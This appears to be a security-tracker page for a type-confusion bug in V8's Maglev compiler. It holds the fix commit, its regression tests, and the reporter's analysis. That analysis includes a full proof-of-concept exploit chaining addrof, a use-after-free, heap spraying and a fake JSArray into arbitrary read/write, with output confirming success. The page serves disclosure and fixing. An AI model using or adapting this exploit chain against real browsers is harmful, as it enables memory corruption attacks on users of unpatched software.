Overview

High
Severity
β€”
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactType Confusion in V8
DescriptionType Confusion in V8
ComponentV8
Bug ClassType Confusion
Tracker500880819
Fix commitb9be4febd638 (v8/v8) +67/-3
CISA KEVNot listed
Disclosed2026-04-28

Files Changed

  • src/maglev/maglev-graph-builder.cc
  • test/mjsunit/maglev/regress/regress-500880819.js
  • test/mjsunit/maglev/regress/regress-501789186.js
From b9be4febd638434a37a4215b8ea9ae1f8fab4df6 Mon Sep 17 00:00:00 2001
From: Jakob Linke <[email protected]>
Date: Tue, 14 Apr 2026 08:46:10 +0200
Subject: [PATCH] [maglev] Restrict BuildCheckSmi constant elision to non-tagged inputs

The elision added in CL 6988172 (commit 6469250a124a) skipped the
runtime check whenever TryGetInt32Constant(object) returned a value in
Smi range. For non-tagged input representations this is sound, because
the switch below emits a value-range check (CheckInt32IsSmi /
CheckUint32IsSmi / CheckFloat64IsSmi / CheckHoleyFloat64IsSmi /
CheckIntPtrIsSmi), which is exactly what Smi::IsValid proves.

For kTagged inputs the emitted check is CheckSmi, a tag-bit check.
Value-equivalence does not imply Smi tagging: a tagged node can be equal
in value to a Smi-range constant while actually holding a HeapNumber at
runtime. This happens when BuildCheckNumericalValue's HeapNumber branch
records a Constant(HeapNumber N) in the node's checked_value alternative
after a CheckFloat64SameValue; since CheckFloat64SameValue only proves
numeric equality, both Smi(N) and HeapNumber(N) pass it.
TryGetInt32Constant recurses through the alternative and returns N, so
the elision drops the tag check and a HeapNumber pointer can flow into
downstream consumers (e.g. the kSmi-field store path via
StoreTaggedFieldNoWriteBarrier), causing a type confusion and a missing
write barrier.

Gate the elision on value_representation() != kTagged. For tagged Smi
inputs the earlier StaticTypeIs(kSmi) / EnsureType(kSmi) early returns
already handle elision via type-system facts, which carry the tag
guarantee the value-equivalence alternative does not.

Fixed: 500880819
Change-Id: Ida0c18551974c5d861e0aed6f881439d04598c0b
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7761542
Reviewed-by: Victor Gomes <[email protected]>
Commit-Queue: Jakob Linke <[email protected]>
Cr-Commit-Position: refs/heads/main@{#106450}
---

diff --git a/src/maglev/maglev-graph-builder.cc b/src/maglev/maglev-graph-builder.cc
index 1153aef..62b27fe 100644
--- a/src/maglev/maglev-graph-builder.cc
+++ b/src/maglev/maglev-graph-builder.cc
@@ -4150,9 +4150,16 @@
   }
   if (EnsureType(object, NodeType::kSmi) && elidable) return object;
   RecordSmiUse(object);
-  // For constants, we may be able to skip the runtime check.
-  if (std::optional<int32_t> constant_value = TryGetInt32Constant(object)) {
-    if (Smi::IsValid(constant_value.value())) return object;
+  // For non-tagged constants, we may be able to skip the runtime check: every
+  // non-tagged arm of the switch below emits a value-range check, which is
+  // exactly what `Smi::IsValid` proves. For tagged inputs the runtime check
+  // (CheckSmi) is a tag-bit check, and value-equivalence (e.g. via the
+  // checked_value alternative, which may hold a HeapNumber constant) does not
+  // imply Smi tagging.
+  if (object->value_representation() != ValueRepresentation::kTagged) {
+    if (std::optional<int32_t> constant_value = TryGetInt32Constant(object)) {
+      if (Smi::IsValid(constant_value.value())) return object;
+    }
   }
   switch (object->value_representation()) {
     case ValueRepresentation::kInt32:
diff --git a/test/mjsunit/maglev/regress/regress-500880819.js b/test/mjsunit/maglev/regress/regress-500880819.js
new file mode 100644
index 0000000..bf6b8f0
--- /dev/null
+++ b/test/mjsunit/maglev/regress/regress-500880819.js
@@ -0,0 +1,31 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+//
+// Flags: --allow-natives-syntax --maglev --expose-gc
+
+let f = new Float64Array(1); f[0] = 5;
+let HN5 = f[0];
+globalThis.G = HN5;
+
+let obj = { smiField: 1 };
+obj.smiField = 2;
+obj.smiField = 3;
+
+function sh(o, x, c) { if (c) o.smiField = x; }
+function corrupt(o, x, c) { G = x; sh(o, x, c); }
+
+%PrepareFunctionForOptimization(sh);
+%PrepareFunctionForOptimization(corrupt);
+sh(obj, 5, true);
+corrupt(obj, HN5, false);
+corrupt(obj, HN5, false);
+%OptimizeMaglevOnNextCall(sh);
+%OptimizeMaglevOnNextCall(corrupt);
+
+// Trigger: HeapNumber(5.0) ends up in a kSmi-typed field without a Smi check.
+corrupt(obj, HN5, true);
+
+// Force a write-barrier verification path by allocating.
+gc();
+assertEquals(5, obj.smiField);
diff --git a/test/mjsunit/maglev/regress/regress-501789186.js b/test/mjsunit/maglev/regress/regress-501789186.js
new file mode 100644
index 0000000..c3baa6f
--- /dev/null
+++ b/test/mjsunit/maglev/regress/regress-501789186.js
@@ -0,0 +1,26 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+//
+// Flags: --fuzzing --expose-gc --allow-natives-syntax --disable-abortjs
+// Flags: --disable-in-process-stack-traces
+
+let f64 = new Float64Array(1);
+f64[0] = 1.0;
+let hn = f64[0];
+
+let script_var_1 = hn;
+let script_var_2 = 1;
+script_var_2 = 2;
+
+function foo(x) {
+  script_var_1 = x;
+  script_var_2 = x;
+}
+
+%PrepareFunctionForOptimization(foo);
+%OptimizeMaglevOnNextCall(foo);
+
+foo(hn);
+
+assertEquals(1, script_var_2);
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/test/mjsunit/maglev/regress/regress-500880819.js b/test/mjsunit/maglev/regress/regress-500880819.js
new file mode 100644
index 0000000..bf6b8f0
--- /dev/null
+++ b/test/mjsunit/maglev/regress/regress-500880819.js
@@ -0,0 +1,31 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+//
+// Flags: --allow-natives-syntax --maglev --expose-gc
+
+let f = new Float64Array(1); f[0] = 5;
+let HN5 = f[0];
+globalThis.G = HN5;
+
+let obj = { smiField: 1 };
+obj.smiField = 2;
+obj.smiField = 3;
+
+function sh(o, x, c) { if (c) o.smiField = x; }
+function corrupt(o, x, c) { G = x; sh(o, x, c); }
+
+%PrepareFunctionForOptimization(sh);
+%PrepareFunctionForOptimization(corrupt);
+sh(obj, 5, true);
+corrupt(obj, HN5, false);
+corrupt(obj, HN5, false);
+%OptimizeMaglevOnNextCall(sh);
+%OptimizeMaglevOnNextCall(corrupt);
+
+// Trigger: HeapNumber(5.0) ends up in a kSmi-typed field without a Smi check.
+corrupt(obj, HN5, true);
+
+// Force a write-barrier verification path by allocating.
+gc();
+assertEquals(5, obj.smiField);
diff --git a/test/mjsunit/maglev/regress/regress-501789186.js b/test/mjsunit/maglev/regress/regress-501789186.js
new file mode 100644
index 0000000..c3baa6f
--- /dev/null
+++ b/test/mjsunit/maglev/regress/regress-501789186.js
@@ -0,0 +1,26 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+//
+// Flags: --fuzzing --expose-gc --allow-natives-syntax --disable-abortjs
+// Flags: --disable-in-process-stack-traces
+
+let f64 = new Float64Array(1);
+f64[0] = 1.0;
+let hn = f64[0];
+
+let script_var_1 = hn;
+let script_var_2 = 1;
+script_var_2 = 2;
+
+function foo(x) {
+  script_var_1 = x;
+  script_var_2 = x;
+}
+
+%PrepareFunctionForOptimization(foo);
+%OptimizeMaglevOnNextCall(foo);
+
+foo(hn);
+
+assertEquals(1, script_var_2);
Loading diff…

Original Bug Report

reported by [email protected]

Type confusion in BuildCheckSmi constant folding in V8/Maglev

Tested on: V8 14.9.0 (candidate), HEAD 31b353261e41a9d15c829359b0d4d9e261debeb6 (2026-04-04)

BuildCheckSmi elides the runtime Smi check when TryGetInt32Constant returns a value in Smi range. TryGetInt32Constant recurses through the checked_value alternative recorded by SetKnownValue. When BuildCheckNumericalValue records a Constant(HeapNumber 5.0) as the checked_value (after CheckFloat64SameValue passes), TryGetInt32Constant follows the alternative, sees IsInt32Double(5.0), and returns 5 β€” without verifying that the runtime representation is Smi.

The CheckFloat64SameValue node verifies value equality (5.0 == 5.0), not representation. Both Smi(5) and HeapNumber(5.0) pass it. The elided CheckSmi was the only thing preventing a HeapNumber pointer from reaching BuildStoreTaggedFieldNoWriteBarrier (the kSmi-field store path, which omits the write barrier under the assumption that Smis don’t need one).

Result: a tagged HeapNumber pointer is written into a kSmi-typed field with no write barrier. The receiver’s map is unchanged. The remembered set is not updated.


Root cause

The elision (maglev-graph-builder.cc:4145-4146)

ReduceResult MaglevGraphBuilder::BuildCheckSmi(ValueNode* object, ...) {
  ...
  // For constants, we may be able to skip the runtime check.
  if (std::optional<int32_t> constant_value = TryGetInt32Constant(object)) {
    if (Smi::IsValid(constant_value.value())) return object;   // ← elide CheckSmi
  }
  ...
}

This is sound when object is a constant node. It is unsound when object is a runtime value whose checked_value alternative is a constant.

The recursion (maglev-reducer-inl.h:722-723)

std::optional<int32_t> MaglevReducer<BaseT>::TryGetInt32Constant(ValueNode* value) {
  switch (value->opcode()) {
    case Opcode::kConstant: {
      compiler::ObjectRef object = value->Cast<Constant>()->object();
      if (object.IsHeapNumber() &&
          IsInt32Double(object.AsHeapNumber().value())) {       // ← 5.0 β†’ true
        return static_cast<int32_t>(object.AsHeapNumber().value());
      }
      ...
    }
    ...
  }
  if (auto c = TryGetConstantAlternative(value)) {
    return TryGetInt32Constant(*c);                             // ← recurse on checked_value
  }
  return {};
}

TryGetConstantAlternative (maglev-reducer-inl.h:480-490) reads info->alternative().checked_value() and returns it if it’s a constant node. The recursive call then hits the kConstant case for the HeapNumber.

Where checked_value is set (maglev-graph-builder.cc:12268-12271)

ReduceResult MaglevGraphBuilder::BuildCheckNumericalValue(...) {
  ...
    RETURN_IF_ABORT(
        AddNewNode<CheckFloat64SameValue>({node}, ref_value, reason));
  }

  reducer_.SetKnownValue(node, ref, NodeType::kNumber);          // ← here
  return ReduceResult::Done();
}

SetKnownValue (maglev-reducer-inl.h:1396) does:

known_info->alternative().set_checked_value(GetConstant(ref));

ref is the compile-time PropertyCell value β€” a HeapNumber 5.0 object. GetConstant(ref) produces Constant(HN 5.0). This is recorded as the checked_value for the runtime node.

The implicit contract violated: checked_value was meant to record “after this check, the runtime value is equal to this constant”, but TryGetInt32Constant reads it as “the runtime value is this constant (same representation)”.

The sink (maglev-graph-builder.cc:5359-5421)

ValueNode* value = GetAccumulator();                           // raw tagged
...
if (field_representation.IsSmi()) {
  RETURN_IF_ABORT(GetAccumulatorSmi(...));   // ← inserts CheckSmi (or tries to)
                                             //   result IGNORED β€” only the side
                                             //   effect (CheckSmi node) matters
}
...
if (field_representation.IsSmi()) {
  RETURN_IF_ABORT(BuildStoreTaggedFieldNoWriteBarrier(
      store_target, value, field_index.offset(), store_mode, name));
}

GetAccumulatorSmi β†’ BuildCheckSmi. With the check elided, value (the unmodified accumulator, holding a HeapNumber pointer) flows directly to BuildStoreTaggedFieldNoWriteBarrier.


Impact

  • addrof β€” A Maglev-compiled load of obj.f emits UnsafeSmiUntag (map says kSmi, no tag check). Reading the corrupted field returns compressed_ptr >> 1. Deterministic, repeatable.
  • UAF β€” obj in old-gen, fresh HN in young-gen, no remembered-set entry. Minor GC frees the HN; obj.f dangles. Spray new-space β†’ fakeobj β†’ in-cage arbitrary read/write.
  • Arbitrary Read/Write demonstrated with zero flags (./d8 poc.js), quite reliable.

Repro

// Two triggers of the same bug:
//   #1: corrupt(obj, HN5,    true) — old→old, GC-safe, pure type confusion.
//       addrof(obj) β†’ UnsafeSmiUntag β†’ leaks HN5's compressed ptr.
//   #2: corrupt(obj, freshHN, true) — old→young, missing WB → dangling → fakeobj.
//
// Trigger #1 is allocation-free (HN5 exists, addrof returns Smi-range int,
// recovery is integer math) β†’ young-gen bump pointer unchanged β†’ freshHN lands
// at the same young-gen offset as the single-trigger version.
//
// No eval closures, no scan window, no hardcoded HN5 neighborhood. The only
// build-specific constant is JSARRAY_DBL_MAP (RO-root, run-stable, standard).
//
// Run: d8 poc.js

const JSARRAY_DBL_MAP = 0x0100d0d9;
const FAKE_LEN        = 0x100;
const WARMUP_N        = 30000;

let f64 = new Float64Array(1);
let u32 = new Uint32Array(f64.buffer);
function itof(lo, hi) { u32[0]=lo>>>0; u32[1]=hi>>>0; return f64[0]; }
function ftoi(d) { f64[0]=d; return [u32[0]>>>0, u32[1]>>>0]; }

const SPRAY_D = itof(FAKE_LEN << 1, JSARRAY_DBL_MAP);

// ─── Setup ───
let __f = new Float64Array(1); __f[0] = 5;
let HN5 = __f[0];
globalThis.G = HN5;

let obj = { smiField: 1 };
obj.smiField = 2; obj.smiField = 3;

// ─── Organic promotion ───
for (let i = 0; i < 400; i++) { new Array(10000).fill(1.1); }

// ─── Functions ───
function sh(o, x, c) { if (c) o.smiField = x; }
sh(obj, 5, true); sh(obj, 5, true); sh(obj, 5, true);

function corrupt(o, x, c) { G = x; sh(o, x, c); }

// addrof: Maglev trusts kSmi map β†’ LoadTaggedField β†’ UnsafeSmiUntag (no tag
// check) β†’ Int32Add. `+7` survives identity-folding (+0, |0, *1 all fold).
// Recovery: ptr = ((r-7)<<1)|1.  HN5_ptr β‰ˆ 0x012xxxxx β†’ >>1 β‰ˆ 9M β†’ Smi-range.
function addrof(o) { return o.smiField + 7; }
addrof(obj); addrof(obj); addrof(obj);

// ─── Warmup: tier BOTH corrupt and addrof to Maglev ───
// addrof trained on Smi(5) β†’ returns 12. Loop allocates nothing.
for (let i = 0; i < WARMUP_N; i++) {
  corrupt(obj, HN5, false);
  addrof(obj);
  if ((i & 15) === 0) sh(obj, 5, true);
}

// ─── Trigger #1: addrof(HN5) β€” ALLOCATION-FREE ───
// HN5 is old-gen, obj is old-gen β†’ WriteBarrier::IsRequired = false. The
// missing WB is harmless here. Type confusion alone: CheckSmi elided, HN5's
// tagged ptr lands in the kSmi field, map unchanged. addrof's CheckMaps
// passes, UnsafeSmiUntag shifts the raw bits. No deopt β€” corrupt stays Maglev.
//
// NO IIFE: HN5 is already a tagged HN (script-scope let, loaded via context
// slot). OSR'd top-level passes it tagged β€” no __f[0]-style unboxing risk.
// IIFE would allocate a closure object (~28B young-gen) β†’ shifts freshHN.
//
// NO PRINT: string concat + toString allocate. Defer all output.
//
// leaked β‰ˆ (0x012xxxxx >> 1) + 7 β‰ˆ 9M β†’ Smi. Recovery math stays Smi-range.
// `let` slots pre-reserved in script context at parse β€” assignment is no-alloc.
corrupt(obj, HN5, true);
let leaked = addrof(obj);
let HN5_ADDR = (((leaked - 7) << 1) | 1) >>> 0;
obj.smiField = 5;          // reset: store IC sees kSmi map + Smi value β†’ clean

// ─── Trigger #2: dangling ───
// freshHN is young-gen → old→young store, missing WB → no remembered-set entry.
(function(){ corrupt(obj, __f[0], true); })();

// ─── Stack scrub ───
(function r(n){return n>0?r(n-1)+n:0;})(400);

// ─── Spray (organic minor GCs mid-loop) ───
let pads = [];
for (let j = 0; j < 200; j++) {
  let a = new Array(1000);
  for (let i = 0; i < 1000; i++) a[i] = SPRAY_D;
  pads.push(a);
}

// ─── Verify fake JSArray ───
let fake = obj.smiField;
if (typeof fake === "number") {
  print("\n[fail] HN survived (typeof=number, val=" + fake + ")");
  throw "UAF didn't fire";
}
let len;
try { len = fake.length; } catch(e) {
  print("\n[fail] fake.length threw: " + e);
  throw "fake malformed";
}
print("\n[fake] typeof=" + typeof fake + " length=" + len + " (expect " + FAKE_LEN + ")");
if (len !== FAKE_LEN) {
  print("[fail] alignment/spray miss");
  throw "spray miss";
}
print("[fake] *** fake JSArray landed ***");

// ─── Initial read (elements still = JSARRAY_DBL_MAP) ───
let v_init = fake[0];
let [li,hi] = ftoi(v_init);
print("[read] fake[0] @ MAP+7 = " + v_init);
print("[read]   hex 0x" + hi.toString(16).padStart(8,'0') + "_" + li.toString(16).padStart(8,'0'));

// ─── Spray-scan: find length-controlling slot (uses fake.length only β€” no
// elements deref β†’ safe in OSR'd code, no map check on elements) ───
const PROBE_D = itof(0x777 << 1, JSARRAY_DBL_MAP);
let fj=-1, fk=-1;
scan: for (let j = 0; j < 200; j++) {
  let a = pads[j];
  for (let k = 0; k < 1000; k++) {
    a[k] = PROBE_D;
    if (fake.length === 0x777) { fj=j; fk=k; a[k]=SPRAY_D; break scan; }
    a[k] = SPRAY_D;
  }
}
if (fj < 0) {
  print("\n[fail] scan miss β€” spray not writable at dangling");
  throw "scan miss";
}
print("[scan] *** pads[" + fj + "][" + fk + "] controls fake.length ***");

// ─── Retarget + arb R/W demo (IIFE β†’ Ignition β†’ no elements-map check) ───
// fake[0] reads 8B at elements_tagged + 7. HN.value at HN_tagged + 3.
// elements = HN5_ADDR - 4 β†’ reads at HN5_ADDR + 3 = HN5.value.
//
// IIFE because optimized fake[0] (Maglev/TF) emits CheckMaps on fake.elements
// expecting FixedDoubleArray. elements is now HN5_ADDR-4 (a HeapNumber-ish
// region) β†’ CHECK or deopt. Ignition's keyed-load IC trusts the receiver map,
// dereferences elements blindly. One call β†’ cold β†’ Ignition.
let _pad = pads[fj], _slot = fk-1;
let result = (function(){
  _pad[_slot] = itof(FAKE_LEN<<1, (HN5_ADDR - 4) >>> 0);
  let v = fake[0];
  if (v !== 5) return v;        // wrong addr or HN5 moved (major GC)
  fake[0] = 1337.42;
  return v;
})();

if (result !== 5) {
  print("\n[fail] read at leaked addr = " + result + " (expected 5)");
  print("       HN5_ADDR stale? major GC moved HN5 between leak and now?");
  throw "addr stale";
}

let hn5_now = HN5 + 0;
// (deferred from trigger #1 β€” printing there would have allocated strings
// in young-gen before freshHN, shifting its alignment)
print("\n[addrof] leaked raw = " + leaked + " (12 would mean bug didn't fire)");
print("[addrof] HN5_ADDR   = 0x" + HN5_ADDR.toString(16) + " (UnsafeSmiUntag, no scan)");
print("\n[!!!] ARBITRARY READ:  fake[0] @ leaked 0x" + HN5_ADDR.toString(16) + " = 5.0");
print("[!!!] ARBITRARY WRITE: fake[0] = 1337.42 β†’ HN5+0 = " + hn5_now);
print("[!!!]   v_init (Map bytes @ 0x" + JSARRAY_DBL_MAP.toString(16) + "+7) = " + v_init);
print("[!!!]   HN5+0  (after write, independent JS read)            = " + hn5_now);

if (hn5_now === 1337.42) {
  print("  *** ARB R/W achieved ***");
}

Debug (show root cause)

❯ ./v8/out/x64.debug/d8 poc/maglev-checksmi-elision/poc.js 
#
# Fatal error in ../../src/heap/heap.cc, line 6784
# Check failed: !WriteBarrier::IsRequired(heap_object, Tagged<Object>(value)).
#
#
#
#FailureMessage Object: 0x7ffeb5d87868
==== C stack trace ===============================

    /home/pop/sec/v8/v8/out/x64.debug/libv8_libbase.so(v8::base::debug::StackTrace::StackTrace()+0x29) [0x735b27276179]
    /home/pop/sec/v8/v8/out/x64.debug/libv8_libplatform.so(+0x4e2cd) [0x735b173e12cd]
    /home/pop/sec/v8/v8/out/x64.debug/libv8_libbase.so(v8::base::PrintStackTraceIfAvailable()+0x14) [0x735b272491e4]
    /home/pop/sec/v8/v8/out/x64.debug/libv8_libbase.so(V8_Fatal(char const*, int, char const*, ...)+0x1f9) [0x735b27249999]
    /home/pop/sec/v8/v8/out/x64.debug/libv8.so(v8::internal::Heap::VerifySkippedWriteBarrier(unsigned long, unsigned long)+0x12b) [0x735b218fc10b]
    [0x735b7fc9441b]
[1]    1417951 trace trap (core dumped)  ./v8/out/x64.debug/d8 

Release (Arbitrary R/W)

❯ ./v8/out/ASAN_RELEASE/d8 audit-notes/maglev-checksmi-elision/poc-organic-honest.js

[fake] typeof=object length=256 (expect 256)
[fake] *** fake JSArray landed ***
[read] fake[0] @ MAP+7 = 1.6291488275493544e-260
[read]   hex 0x0a0007ff_1100084b
[scan] *** pads[104][716] controls fake.length ***

[addrof] leaked raw = 9582111 (12 would mean bug didn't fire)
[addrof] HN5_ADDR   = 0x1246c31 (UnsafeSmiUntag, no scan)

[!!!] ARBITRARY READ:  fake[0] @ leaked 0x1246c31 = 5.0
[!!!] ARBITRARY WRITE: fake[0] = 1337.42 β†’ HN5+0 = 1337.42
[!!!]   v_init (Map bytes @ 0x100d0d9+7) = 1.6291488275493544e-260
[!!!]   HN5+0  (after write, independent JS read)            = 1337.42
  *** ARB R/W achieved ***

Suggested fix

The issue is introduced by 6469250a124a: [maglev] Improve constant handling for BuildCheckSmi and the Array ctor, 2025-09-26, crrev.com/c/6988172.

TryGetInt32Constant answers “what int32 value does this node hold?” β€” it does not prove the runtime representation is Smi. BuildCheckSmi should only elide when object itself is a constant node, not when its checked_value alternative is:

if (IsConstantNode(object->opcode())) {
  if (std::optional<int32_t> c = TryGetInt32Constant(object)) {
    if (Smi::IsValid(c.value())) return object;
  }
}
View on issue tracker
Links in the report